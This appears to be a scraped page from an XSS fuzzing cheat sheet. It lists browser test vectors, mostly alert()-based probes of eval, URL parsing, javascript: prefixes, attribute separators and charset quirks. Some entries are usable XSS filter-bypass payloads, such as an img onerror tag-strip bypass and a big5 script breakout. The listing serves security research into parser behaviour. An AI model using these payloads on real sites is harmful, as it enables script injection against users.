Cheat Sheet
Generated payloads from fuzz test results. Filter by type, category, or browser.
Found 212 vectors with results
eval('0x09alert(9)0x09')I was asking myself which characters can be used in eval with single quotes that still allow code execution.
eval('0x0Balert(11)0x0B')I was asking myself which characters can be used in eval with single quotes that still allow code execution.
eval('0x0Calert(12)0x0C')I was asking myself which characters can be used in eval with single quotes that still allow code execution.
eval(' alert(32) ')I was asking myself which characters can be used in eval with single quotes that still allow code execution.
eval(';alert(59);')I was asking myself which characters can be used in eval with single quotes that still allow code execution.
$:alert(36)This vector shows what characters are allowed to be used to define a label statement. developer.mozilla.org/en-US/docs/Web/JavaScript/Re…
_:alert(95)This vector shows what characters are allowed to be used to define a label statement. developer.mozilla.org/en-US/docs/Web/JavaScript/Re…
ª:alert(170)This vector shows what characters are allowed to be used to define a label statement. developer.mozilla.org/en-US/docs/Web/JavaScript/Re…
µ:alert(181)This vector shows what characters are allowed to be used to define a label statement. developer.mozilla.org/en-US/docs/Web/JavaScript/Re…
if (new URL("https://example.com" + String.fromCodePoint(9) + "/").hostname === 'example.com'){alert(9)}Checks what characters can be added between "example.com" and /, while keeping the hostname "example.com"
if (new URL("https://example.com" + String.fromCodePoint(10) + "/").hostname === 'example.com'){alert(10)}Checks what characters can be added between "example.com" and /, while keeping the hostname "example.com"
if (new URL("https://example.com" + String.fromCodePoint(13) + "/").hostname === 'example.com'){alert(13)}Checks what characters can be added between "example.com" and /, while keeping the hostname "example.com"
if (new URL("https://example.com" + String.fromCodePoint(35) + "/").hostname === 'example.com'){alert(35)}Checks what characters can be added between "example.com" and /, while keeping the hostname "example.com"
if (new URL("https://example.com" + String.fromCodePoint(47) + "/").hostname === 'example.com'){alert(47)}Checks what characters can be added between "example.com" and /, while keeping the hostname "example.com"
if (new URL(String.fromCodePoint(0) + "javascript:alert()").protocol=="javascript:"){alert(0)}Vector to check if any characters are allowed before "javascript:" to still result in a javascript url. Note: compare this vector (JavaScript URL) with HTML DOM: shazzer.co.uk/vectors/661652f5c7a9004304ba5539
if (new URL(String.fromCodePoint(1) + "javascript:alert()").protocol=="javascript:"){alert(1)}Vector to check if any characters are allowed before "javascript:" to still result in a javascript url. Note: compare this vector (JavaScript URL) with HTML DOM: shazzer.co.uk/vectors/661652f5c7a9004304ba5539
if (new URL(String.fromCodePoint(2) + "javascript:alert()").protocol=="javascript:"){alert(2)}Vector to check if any characters are allowed before "javascript:" to still result in a javascript url. Note: compare this vector (JavaScript URL) with HTML DOM: shazzer.co.uk/vectors/661652f5c7a9004304ba5539
if (new URL(String.fromCodePoint(3) + "javascript:alert()").protocol=="javascript:"){alert(3)}Vector to check if any characters are allowed before "javascript:" to still result in a javascript url. Note: compare this vector (JavaScript URL) with HTML DOM: shazzer.co.uk/vectors/661652f5c7a9004304ba5539
if (new URL(String.fromCodePoint(4) + "javascript:alert()").protocol=="javascript:"){alert(4)}Vector to check if any characters are allowed before "javascript:" to still result in a javascript url. Note: compare this vector (JavaScript URL) with HTML DOM: shazzer.co.uk/vectors/661652f5c7a9004304ba5539
alert(10)
sdfasdfasfasfdThis vector shows which characters cause a new line or single line comment.
alert(13)
sdfasdfasfasfdThis vector shows which characters cause a new line or single line comment.
alert(38)&&sdfasdfasfasfdThis vector shows which characters cause a new line or single line comment.
alert(42)**sdfasdfasfasfdThis vector shows which characters cause a new line or single line comment.
alert(47)//sdfasdfasfasfdThis vector shows which characters cause a new line or single line comment.
This vector shows what characters can be used to separate HTML attributes
This vector shows what characters can be used to separate HTML attributes
This vector shows what characters can be used to separate HTML attributes
""
alert(10)This vector shows what characters act as new line or space after the JavaScript string.
""
alert(13)This vector shows what characters act as new line or space after the JavaScript string.
""%alert(37)This vector shows what characters act as new line or space after the JavaScript string.
""&alert(38)This vector shows what characters act as new line or space after the JavaScript string.
""*alert(42)This vector shows what characters act as new line or space after the JavaScript string.
<div style="font-family:'blah';color:red"></div>This is just to get a full list of characters that are allowed between JavaScript functions
This is just to get a full list of characters that are allowed between JavaScript functions
This is just to get a full list of characters that are allowed between JavaScript functions
This is just to get a full list of characters that are allowed between JavaScript functions
This is just to get a full list of characters that are allowed between JavaScript functions
This vector shows what characters are after before parentheses in a function call in JavaScript.
This vector shows what characters are after before parentheses in a function call in JavaScript.
This vector shows what characters are after before parentheses in a function call in JavaScript.
This vector shows what characters are after before parentheses in a function call in JavaScript.
This vector shows what characters are after before parentheses in a function call in JavaScript.
if('1337' + String.fromCodePoint(9) + String.fromCodePoint(9) == 1337){alert(9)}Loose comparison of string with appended character, which still end up type coerced.
if('1337' + String.fromCodePoint(10) + String.fromCodePoint(10) == 1337){alert(10)}Loose comparison of string with appended character, which still end up type coerced.
if('1337' + String.fromCodePoint(11) + String.fromCodePoint(11) == 1337){alert(11)}Loose comparison of string with appended character, which still end up type coerced.
if('1337' + String.fromCodePoint(12) + String.fromCodePoint(12) == 1337){alert(12)}Loose comparison of string with appended character, which still end up type coerced.
if('1337' + String.fromCodePoint(13) + String.fromCodePoint(13) == 1337){alert(13)}Loose comparison of string with appended character, which still end up type coerced.
This vector shows what characters can be used after equals sign for attributes
This vector shows what characters can be used after equals sign for attributes
This vector shows what characters can be used after equals sign for attributes
This vector shows what characters can be used after equals sign for attributes
This vector shows what characters can be used after equals sign for attributes
let transformedChr = String.fromCodePoint(0).toLowerCase();
0 > 0x7f &&
/^\w+$/.test(transformedChr) &&
alert(0 + '=>' + transformedChr)This vector demonstrates which codePoints transform to ascii characters when using toLowerCase() Related vector: shazzer.co.uk/vectors/661713f26438aee019a61a71
<script>"\\"-alert(92)//"</script>This vector demonstrates that certain characters consume backslashes when using a big5 charset
<p><img/src/onerror=alert(1)></p>Looking for potentially a way to bypass the removal of < tags. (assume the <p> tags are being returned by the application)
if (['https:'].includes("\https:")){
alert(92)
}Check for chars allowed before the string to validate.
try{
encodeURIComponent(String.fromCodePoint(55296))
} catch {
alert(55296);
} This vector demonstrates which characters cause encodeURIComponent to throw an exception when attempting to URL encode.
try{
encodeURIComponent(String.fromCodePoint(55297))
} catch {
alert(55297);
} This vector demonstrates which characters cause encodeURIComponent to throw an exception when attempting to URL encode.
try{
encodeURIComponent(String.fromCodePoint(55298))
} catch {
alert(55298);
} This vector demonstrates which characters cause encodeURIComponent to throw an exception when attempting to URL encode.
try{
encodeURIComponent(String.fromCodePoint(55299))
} catch {
alert(55299);
} This vector demonstrates which characters cause encodeURIComponent to throw an exception when attempting to URL encode.
try{
encodeURIComponent(String.fromCodePoint(55300))
} catch {
alert(55300);
} This vector demonstrates which characters cause encodeURIComponent to throw an exception when attempting to URL encode.
anchor.href="https://psres.net"+String.fromCodePoint(35)+"@example.com";
if(anchor.host !== 'example.com'){
alert(35)
}This vector shows what characters cause an external URL when used before an @
anchor.href="https://psres.net"+String.fromCodePoint(47)+"@example.com";
if(anchor.host !== 'example.com'){
alert(47)
}This vector shows what characters cause an external URL when used before an @
anchor.href="https://psres.net"+String.fromCodePoint(63)+"@example.com";
if(anchor.host !== 'example.com'){
alert(63)
}This vector shows what characters cause an external URL when used before an @
anchor.href="https://psres.net"+String.fromCodePoint(92)+"@example.com";
if(anchor.host !== 'example.com'){
alert(92)
}This vector shows what characters cause an external URL when used before an @
anchor.href='//example.com';
let chr = String.fromCodePoint(33);
anchor.hash = chr;
if(anchor.hash.slice(1).includes(chr))alert(33)This vector shows which unencoded characters are allowed in the hash
anchor.href='//example.com';
let chr = String.fromCodePoint(36);
anchor.hash = chr;
if(anchor.hash.slice(1).includes(chr))alert(36)This vector shows which unencoded characters are allowed in the hash
anchor.href='//example.com';
let chr = String.fromCodePoint(37);
anchor.hash = chr;
if(anchor.hash.slice(1).includes(chr))alert(37)This vector shows which unencoded characters are allowed in the hash
anchor.href='//example.com';
let chr = String.fromCodePoint(38);
anchor.hash = chr;
if(anchor.hash.slice(1).includes(chr))alert(38)This vector shows which unencoded characters are allowed in the hash
anchor.href='//example.com';
let chr = String.fromCodePoint(39);
anchor.hash = chr;
if(anchor.hash.slice(1).includes(chr))alert(39)This vector shows which unencoded characters are allowed in the hash